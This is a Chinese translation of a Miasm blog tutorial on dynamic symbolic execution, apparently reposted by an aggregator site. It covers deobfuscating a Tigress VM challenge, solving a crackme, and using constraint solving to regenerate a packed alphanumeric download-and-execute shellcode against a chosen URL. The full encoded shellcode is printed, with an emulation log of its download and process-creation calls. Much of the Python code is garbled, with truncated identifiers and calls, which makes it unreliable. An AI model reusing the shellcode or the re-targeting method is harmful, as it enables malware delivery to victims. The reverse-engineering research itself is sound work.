动态动态动态执行(DSE)是目前广泛使用的强大分析方法,通常用于以下情况:
代码服务范围
创建输入和测试用例
创建Exploit
直接fuzzing
检查跨境访问
自动破解me
算法重构
反混淆
.
虽然Miasm不是实现此功能的第一个工具,但向main branch添加其他功能只是时间问题,因为它满足了实现DSE的所有必要条件。
本文档介绍了一些示例,以及如何使用简单的API在脚本中使用DSE。
从混淆的程序中恢复它的算法。
不反向进行,重用别人的外壳
自动破解me
概述:
使用DSE的崩溃教程
TigressVM
运行程序
添加DSE
深入研究
反转一个shell代码
提高代码复盖范围-krack me
概述
创建新输入
自动检测
最后的想法
相关资源
此分析基于1fb3326版本的Miasm
使用DSE的崩溃教程
动态符号执行(DSE,也称为concolic execution)在符号执行中使用特定值。这些符号执行可以防止回路引起的路径爆炸,并在表达式太复杂或系统调用生成值时为符号提供特定值。
此方法一次只考虑一个路径。输入约束随着程序路径的不断扩展而不断增加,路径结束时,通过反转其中一个约束来到达新的代码路径。
接下来,我举个例子来介绍DSE。
请考虑以下代码。
Int func(int arg) {
arg=1;
If (arg0xFF==0x12) {
Arg=13
}
Return arg
}
首先,我将使用名为arg=0的特定值执行第一个代码。
接下来,执行一次符号执行,然后得到以下表达式:
0: ARG=ARG 1
1: (ARG0xFF==0x12)?2 : 4-表达式未解决!
表达式未解析,因此符号执行不会执行到函数结束。当然,在这里我们可以使用其他方法,例如执行多路径符号,但这不是这个例子的重点。
在此阶段,通过使用特定值执行符号执行,而不考虑条件,已经有了条件输出(即可能的路径)。
接下来,反转条件。也就是说,假设(ARG0xFF==0x12)不成立,或者(ARG0xFF!=0x12),向条件执行状态添加新条件。接下来,我们统一称这些条件为约束。
执行最终结束,返回ARG 1。这样就可以得到这个代码。(ARG0xFF!=0x12)时返回ARG 1。代码可能会混淆,但我们不需要使用这种方法根据需要查看代码。
你认为这就是全部吗?用DSE可以做更多的事!可以使用SMT解释器反转路径的约束。假设求解器回答满足条件(ARG0xFF==0x12)的ARG=0x123412。
对输入执行这些操作后,获得了新的路径和新的结果。(ARG0xFF==0x12)如果程式码片段传回ARG 14
以上是程序生成新输入以到达新代码区域的所有过程。这种方法经常在网络安全挑战赛中使用,通过配置新的输入,使代码达到模糊测试无法达到的地方,提高模糊测试的效果。
模糊测试在测试输入时确实非常快,但遇到“复杂条件”时,例如比较输入和幻值(译者注:事先约定的几个固定字节没有那么有效)。幸运的是,这正是DSE的优点。
TigressVM
接下来,使用该技术修复混淆的算法。我们使用的例子来自J. Salwan的Tigress。
整个Tigress由多个程序组成,这些程序接受命令行参数并通过算法输出值。
运行程序
>首先,我们写个脚本用Miasm来运行这个程序。PR #515可以让我们模拟运行Linux二进制文件的环境。
from mia import Sandbox_Linux_x86_64
# Create sandbox
parser = Sandbox_Linux_x86_64.parser(description="ELF sandboxer")
("filename", help="ELF Filename")
options = ()
# Force environment simulation
o = True
# Dummy argument: 123456789
o = ["".join(chr(0x30 + i) for i in xrange(1, 10))]
# Instantiate and run
sb = Sandbox_Linux_x86_64, options, globals())
()
现在启动这个程序会报错,因为strtoul这个桩还没有插入程序中。
$ python tigress-0-challenge-0
[INFO]: xxx___libc_start_main(main=0x4005f4, argc=0x2, ubp_av=0x13ffc4, init=0x400ca0, fini=0x400d30, rtld_fini=0x0, stack_end=0x13ffb8) ret addr: 0x400539
VALUEError: ('unknown api', '0x71111012L', "'xxx_strtoul'")
接下来我们手动实现一个strtoul。
def xxx_strtoul(jitter):
ret_ad, args = ji(["nptr", "endptr", "base"])
assert args.endptr == 0
content = ji)
value = int(content, args.base)
print "%r -> %d" % (content, value)
ji(ret_ad, value)
写好strtoul后,再次运行程序,这次程序直接崩溃了。原因是这个函数使用了栈空间,所以我们要模拟栈操作(段+内存管理)
from mia import PAGE_READ
...
# Init stack canary
= True
FS_0_ADDR = 0x7ff70000
= 0x4
(, FS_0_ADDR)
(
FS_0_ADDR + 0x28, PAGE_READ, "\x42\x42\x42\x42\x42\x42\x42\x42", "Stack canary FS[0x28]")
我们还需要支持128位的操作,所以我们会使用llvmjitter(python也可以,但会比较慢)
o = "llvm"
写好这些后,程序就能正常运行了。
$ python tigress-0-challenge-0
[INFO]: xxx___libc_start_main(main=0x4005f4, argc=0x2, ubp_av=0x13ffc4, init=0x400ca0, fini=0x400d30, rtld_fini=0x0, stack_end=0x13ffb8) ret addr: 0x400539
[INFO]: xxx_strtoul(nptr=0x13ffec, endptr=0x0, base=0xa) ret addr: 0x400660
'123456789' -> 123456789
[INFO]: xxx_printf(fmt=0x400dbd) ret addr: 0x4006b4
82131118
$ ./tigress-0-challenge-0 123456789
82131118
添加DSE
接下来,我们需要用输入建立一个输出值的等式
也就是说,我们需要把strtoul的返回值"符号化",并取得printf第二个参数的等式。
要做到这一步,我们需要在strtoul的末尾,把DSE引擎附加到jitter。在附加之后,Miasm会自动通知符号引擎具体值的状态,收集约束,检查符号执行是否与具体状态相同等等。
首先,实例化DSEEngine对象,用它向外部API中插入我们的代码(像沙盒一样)
from mia import DSEEngine
dse = DSEEngine)
d, globals())
接下来,在strtoul的末尾把DSE对象附加到jitter,把所有寄存器的值设置为具体值(我们不需要追踪它们的值)最后把返回值赋值给符号
from mia import ExprId
VALUE = ExprId("VALUE", 64)
def xxx_strtoul(jitter):
global dse
...
ji(ret_ad, value)
d(jitter)
d()
d({
d: VALUE,
})
这个脚本的执行时间会有点长。运行到后面还会报错,这时我们看一下xxx_printf_symb这个函数,它是printf的桩函数。
别被吓到了,我们只需要查看它的第二个参数。
def xxx_printf_symb(dse):
result = d)
print result
raise RuntimeError("Exit")
最后我们得到下面这个复杂的等式。
({(VALUE+(VALUE|(VALUE+0x34D870D1)|0xFFFFFFFFD9FCA98B)+0x34D870D1) 0 64, ((VALUE+(VALUE|(VALUE+0x34D870D1)|0xFFFFFFFFD9FCA98B)+0x34D870D1)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{({((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7) 0 64, (((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{(VALUE|0x46BC480) 0 64, ((VALUE|0x46BC480)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[0:64] 0 64, (({((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7) 0 64, (((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{(VALUE|0x46BC480) 0 64, ((VALUE|0x46BC480)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[0:64]
把VALUE=123456789代进去算一下,用assert关键字把它的值断言为和具体值一样。
from mia import ExprId, ExprInt
...
def xxx_printf_symb(dse):
result = d)
print result
obtained = d({VALUE: ExprInt(123456789, 64)}))
print obtained
assert int(obtained) ==
raise RuntimeError("Exit")
可以发现,这一次的输入令我们的等式成立了。
在J. Salwan用来对结果进行验证的多个测试用例上运行,我们可以获得同样的准确率。(下一个例子涉及到信号处理,为简单起见,这里就不介绍了)
深入研究
不出所料,我们的公式对于VM-0的Challenge-2是不成立的。
通过用同一模块中的 DSEPathConstraint 类替换DSEEngine类,可以让Miasm跟踪路径上的约束。
from mia import DSEPathConstraint
dse = DSEPathConstraint)
这些约束会存放在z3.Solver对象上,我们可以通过d来对他们进行访问(然后是d.assertions)。
不过这个对象能做的不仅仅是这些,根据produce_solution选项的不同,它可以实现不同的功能,几个选项如下:
PRODUCE_SOLUTION_CODE_COV
PRODUCE_SOLUTION_BRANCH_COV,
PRODUCE_SOLUTION_PATH_COV
它会为试着为每块没走过的代码段,CFG分支和CFG路径分别生成一个新的反例。
默认情况下,这个方法会在 new_solutions 这个属性中存放多个(solution identifier 和其对应的输入)。
这些方案可以通过重写 produce_solution(判断是否应该生成新的求解器)和handle_solution(将结果求解器模型转化成新的解法)进行扩展
所以,在这个例子中,用默认选项(code coverage)运行脚本后,程序就返回一些(新目标,解决方案):
>>> d
{
ExprInt(0x4007D4, 64): set([[VALUE = 608420]]),
ExprInt(0x4007BF, 64): set([[VALUE = 455188096],
[VALUE = 6333]])
}
事实上,我们可以根据错误的输入值对公式的输出值进行验证,除了6333(两条不同的路径可以产生相同的结果)
进一步来说,通过重写handle_solution并找到对应的路径约束,然后根据对应的公式用新的值重新模拟这个过程,我们就可以还原最初的约束(if(cond)会影响到产生的公式)条件。
example/symbol_exec 这个例子可以用作这种方法的入门学习。
在模糊测试中,我们可以用这些值作为新的输入来到达新的代码段。
逆向一个加壳的shellcode
还记得这个shellcode吗?
提醒一下,这个shellcode通篇只有字母和数字,它实际上有一个自修改的桩(self-modifying stub)可在适当位置对真正的shellcode进行脱壳。
shellcode中的桩程序会在跳转到真正的payload之前运行两个解密循环,而真正的shellcode会下载并执行指定程序。
剧透:我们会使用DSE来获得一个类似的shellcode,但是是从一个受控制的URL上下载下来的。
首先,我们运行一个脚本来加载这个shellcode(起码到达初始进入点)。
from mia import Machine
from mia import PAGE_READ, PAGE_WRITE# Init and map the shellcodedata = open(";).read()
machine = Machine("x86_32")
jitter = mac()
addr_sc = 0x400000
ji(addr_sc, PAGE_READ|PAGE_WRITE, data, "Shellcode")# Init environment: stack, and EAX on the en()
ji = addr_sc# Add a breakpoint before the OEPdef jump_on_oep(jitter):
print "OEP reached!"
return False
ji(addr_sc + 0x4b, jump_on_oep)# Launch the ji(addr_sc)
ji()
首先要获得存储初始状态函数的结果的方程。要做到这一步,我们会使用DSE引擎,在内存中符号化初始的shellcode,符号化的内存范围可以通过 symbolize_memory 函数指定。
from mia import DSEEngine
from mia import interval
...# Init the dsedse = DSEEngine(machine)# Add a breakpoint before the OEP...# Init jitter context and DSEji(addr_sc)
d(jitter)
d()
d(interval([(addr_sc, addr_sc + len(data) - 1)]))# Launch the jitterji()
这样就可以获取0x42th处的等式了。
from mia import *
print d(ExprMem(ExprInt(addr_sc + 0x42, 32), 8))
也就是:(MEM_0x400053^(MEM_0x400052*0x10))
MEM_ 是DSE引擎用于表示符号化addr处的内存而创建的符号,这个符号可以通过 d(addr) 函数获得。
从我们先前的分析来看,最终的内存由桩程序,下载并执行的payload,以unicode编码的URLs和一些无用的字节组成。
要想达成我们的目的,需要保留最终的payload和更新URL,也就是说,我们会把最终状态设置为和内存中在0x368字节处(stub+payload),以及接下来我们更新过URL。
要完成上述目标,我们先用 DSEPathConstraint 这个对象来保存路径约束。
from mia import DSEPathConstraint
...
dse = DSEPathConstraint(machine, produce_solution=False)
接下来,用我们的URL构建我们期望的内存布局。
...
ji()
# Force final state
memory = ji(addr_sc, 0x368)
# > url == garbage
urls = [";, ";]
memory += "\x00".join(urls) + "\x00\x00"
注意,这个脚本也可以用来修改payload...
现在,把最终状态设为内存布局那样。
for i, c in enumerate(memory):
addr = addr_sc + i
exp = ExprMem(ExprInt(addr, 32), 8)
value = ExprInt(ord(c), 8)
eq = d(exp)
# Constraint the result of the equation at address "addr" (in "eq") to be
# equal to our custom memory byte "value"
eaff = ExprAff(eq, value)
d.add(eaff))
在这个阶段,用求解器计算一下结果:
d.check()
model = d.model()
out = ""
for addr in xrange(addr_sc, addr_sc + len(data)):
x = model.eval(d(addr)))
try:
out += chr())
except:
# No constraint on this input, let's use an arbitrary value
out += "A"
但等等,如果看一看结果的字节,我们就会发现它不仅仅是由字母和数字构成!
是的,我们从来没有限制输入是字母和数字。这个问题很好解决。
import z3
def force_alphanum(x):
""" Force x in [A-Za-z0-9] """
constraint = []
# Integer con(x <= ord('9'), x >= ord('0')))
# Uppercase con(x <= ord('Z'), x >= ord('A')))
# Lowercase con(x <= ord('z'), x >= ord('a')))
return z3.Or(*constraint)
...# Force alphanumfor addr in xrange(addr_sc, addr_sc + len(data)):
z3_addr = d(d(addr))
d.add(force_alphanum(z3_addr))# Get the solution...
最终我们得到了新鲜出炉的shellcode。
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
用前面一篇文章中的脚本,对shellcode是否正确进行一下验证:
...
[INFO]: urlmon_URLDownloadToCacheFileW(0x0, 0x20000000, 0x20000018, 0x1000, 0x0, 0x0) ret addr: 0x401161
[INFO]: kernel32_CreateProcessW(0x20000018, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13ff88, 0x13ff78) ret addr: 0x4012c5
...
[INFO]: urlmon_URLDownloadToCacheFileW(0x0, 0x20000000, 0x20000026, 0x1000, 0x0, 0x0) ret addr: 0x401161
[INFO]: kernel32_CreateProcessW(0x20000026, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13ff88, 0x13ff78) ret addr: 0x4012c5
...
完美!
这不是魔法:这只是一个自解压的桩程序,不依赖数据流和控制流。例如,使用了压缩的桩程序不会只有这么点代码。
提高覆盖率-破解crackme
目标程序是example/sample,对应的脚本是example/symbol_exec
概述
这个crackme的主要流程是,从文件中加载一个key,然后运行几个测试用例。这些测试用例包括:
文件长度的限制
算术溢出的测试(2 * buf[7] == 14) && (buf[7] != 7)
magic值的测试(不适合独立的fuzzer)
基于表实现的一个CRC16的值
最终的目的是输出"OK"。
我们会使用公用的提高覆盖率的策略:
运行某个输入
记录哪些分支没被执行以及相关的约束
解析并为这些分支产生一个新的输入
回到步骤1
这样,输入就会逐渐地扩展到新的代码块上(也就是说,在越来越多的测试用例下走向成功)
脚本d是实现这个例子的代码,不过这超出了本文的范围。
建立新的输入
正如前面看到的,我们使用了DSE引擎来追踪路径约束,使用的是下面这些熟悉的代码:
# Instanciate the DSE engine
machine = Machine("x86_64")
dse = DSE(machine)
# Attach to the jitter
d)
# Update the jitter state. df is read, but never set
# Approaches: specific or generic
# - Specific:
# df_value = ExprInt.cpu.df, d)
# d({
# d: df_value
# })
# - Generic
d()
在这一步中,进行模拟会导致程序跳转到一个未知的地址,事实上,在具体执行的时候,对__libc_start_main的调用是作为桩程序来使用的(见miasm2/os_de)。但要想使DSE工作,还需要把它符号化。
在这里,我们实现了这个程序的一个原始版本。我们使用"_symb"后缀作为命令约定。
def xxx___libc_start_main_symb(dse):
# ['RDI', 'RSI', 'RDX', 'RCX', 'R8', 'R9']
# main, argc, argv, ...
regs = d
top_stack = d)
main_addr = d)
argc = d)
argv = d)
hlt_addr = ExprInt(0x1337beef, 64)
d({
ExprMem(top_stack, 64): hlt_addr,
regs.RDI: argc,
regs.RSI: argv,
d: main_addr,
d: main_addr,
})
我们可以通过add_handler函数把这一函数注册到 __libc_start_main 的地址中去。(相当于加了一个断点)。
但为了减轻工作量,我们可以使用:
# Register symbolic stubs for extern functions (xxx_puts_symb, ...)
d, globals())
用这行代码,Miasm会使用当前脚本中定义的这个函数,自动为imports进行注册。这和沙盒执行时的机制是一样的。
要继续执行程序,接下来我们需要FILE相关的函数。我们定义了一个SymbolicFile类,它可以使用一个具体的size和nmemb参数对文件进行读取,并返回符号化的byte。
我们也实现了相关的函数:
xxx_fopen_symb
xxx_fread_symb
xxx_fclose_symb
它们的实现很简单,这里就不介绍了。主要功能就是,读取文件并返回字节,当然,文件大小也是用符号表示。
最后,调用puts来显示"BAD"或"OK"。一旦程序运行到这里,执行就停止了。
要做到这点,并保存最终的结果(BAD或OK),在puts桩程序中,我们需要raise一个exception。
# Stop the execution on puts and get back the corresponding stringclass FinishOn(Exception):
def __init__(self, string):
= string
super(FinishOn, self).__init__()
def xxx_puts_symb(dse):
string = dse.ji)
raise FinishOn(string)
现在,我们可以从程序的开始,到最终的puts,都保持DSE运行.下一步就是产生新的输入了。
当 DSEPathConstraint 对象可以解出到达新分支的约束时,它的handle_solution 函数就会被调用。这个函数接收相关的z3模型以及新的目标作为参数。一个解可以重写这一方法来生成新的解。
我们也可以使用与new_solutions属性中的新的解相关的模型.(见上面)
然后重用目前的策略来生成的新的输入。例如,我们使用代码覆盖的策略来生成新的输入以到达之前没到达过的代码段。
strategy = DSEPa Other possibilities:# strategy = DSEPa strategy = DSEPa = DSEPathConstraint(machine, produce_solution=strategy)
在程序执行到最后时,我们就必须建立与计算出的解(new_solutions的属性值)相对应的文件内容,并保存它们,为之后做准备.
finfo = FILE_to_info_symb[FILE_stream]
for sol_ident, model in d.iteritems():
# Build the file corresponding to solution in 'model'
out = ""
fsize = max(FILE_size)).as_long(),
len))
for index in xrange(fsize):
try:
byteid = [index]
out += chr(byteid)).as_long())
except (KeyError, AttributeError) as _:
# Default value if there is no constraint on current byte
out += "\x00"
# Save solution for later use
(out)
在这一步,我们可以运行文件中的二进制程序,并为每个分支生成新的输入。
自动探测
我们现在需要做的就是自动探测所有的解。首先,我们需要恢复两次实验之间的状态。
相关的DSE功能是它的快照功能。因为要保存已生成的解-避免为已探测的代码段生成新的解-keep_known_solutions选项设置为true:
## Save the current clean state, before any computation of the FILE contentsnapshot = d()
...
d(snapshot, keep_known_solutions=True)
所以,我们先建立一个空文件:
todo = set([""]) # Set of file contents to test
现在,只要还有候选输入,我们不断进行下述步骤:
获取文件内容中的候选输入
把它们打印出来以观察它们的演变
恢复clean状态
运行附加了DSE的程序
最后,如果得到一个合法的解,就使用break跳出程序。否则,把新的输入添加到候选输入集合中,并从步骤1开始。
相关代码很简单:
while todo:
# Prepare a solution to try, based on the clean state
file_content = ()
print "CUR: %r" % file_content
open, "w").write(file_content)
d(snapshot, keep_known_solutions=True)
FILE_()
FILE_()
# Play the current file
try:
()
except FinishOn as finish_info:
if == "OK":
# Stop if the expected result is found
found = True
break
# Get new candidates
finfo = FILE_to_info_symb[FILE_stream]
for sol_ident, model in d.iteritems():
# Build the file corresponding to solution in 'model'
...
(out)
启动这个最终的脚本,得到下列输出:
CUR: ''
BAD
CUR: '\x00'
BAD
CUR: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M\x00\x00\x00\x00\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M!@$M\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M!@$MN\x0e\x87\xb1}\nN\xc60\xe7'
OK
FOUND !
我们可以观察到上面这些检查点,分别是:
检查文件大小
检查第一个字节(等于'M')
分别在两个测试用例(x!=7,2*x==14)中检查溢出
检查magic值
检查CRC16的值(必须等于1337)
我们可以用已得到的结果来检查结果是否正确:
$ hexdump -C
00000000 4d 21 40 24 4d 4e 0e 87 b1 7d 0a 4e c6 30 e7 |M!@$MN...}.N.0.|
$ gcc d -o dse_crackme
$ ./dse_crackme
OK
最终我们得到了正确的结果。
在这里,代码覆盖率的策略已经足够了;但并不总是这样。如果这一最简单的策略不够好,那就使用更强力,当然也更麻烦,的策略,比如说分支和路径覆盖策略。要使用新的策略,只需要修改 DSEPathConstraint 的produce_solution 参数。
边注:对于那些对内部实现感兴趣的人,你可能注意到了,CRC16是基于表实现的。最后,一些待求解的约束如下所示:
@16[table_offset + symbolic_element] == CST
我们可以用z3查找符号,解出这个约束,要做到这点,z3需要知道表的值。
为了达到这一目的,我们可以使用 Miasmexpr_range 工具来取得可到达的地址区间。如果区间不是太大的话,我们可以在内存内容中添加一个约束给z3(@16[table_offset + 2] == 0x1021等)。
因为地址是用符号保存的,所以这也是可以做到的。因为性能的原因,其它的一些框架没有选择这种方法.要在Miasm中模仿这一过程,寻址过程可以由它们的DSE.handle方法中的具体值来完成。
最后的想法
这篇文章对DSE能完成的工作做了一个大体的介绍。
Miasm的实现方式非常灵活;它可以满足大部人的需要。此外,只需要几行代码,就可以将DSE添加到现有脚本中。事实证明它是一种强大的逆向工具。
相关资源
相关的脚本:
re
相关链接:
Unleashing MAYHEM on Binary Code
Manticore - Defcon 200
Angr - Defcon magic2000
Using Miasm to fuzz binaries with AFL (+ DSE)
Enhancing Symbolic Execution with Veritesting
Your Exploit is Mine: Automatic Shellcode - Transplant for Remote Exploits
Driller: Augmenting Fuzzing Through Selective - Symbolic Execution
原文链接:[翻译]玩转动态符号执行-『外文翻译』-看雪安全论坛
本文由看雪翻译小组 梦野间 编译,来源miasm's blog
转载请注明来自看雪社区
1.《【雅马哈fz6r】执行动态符号》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《【雅马哈fz6r】执行动态符号》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/auto/2588693.html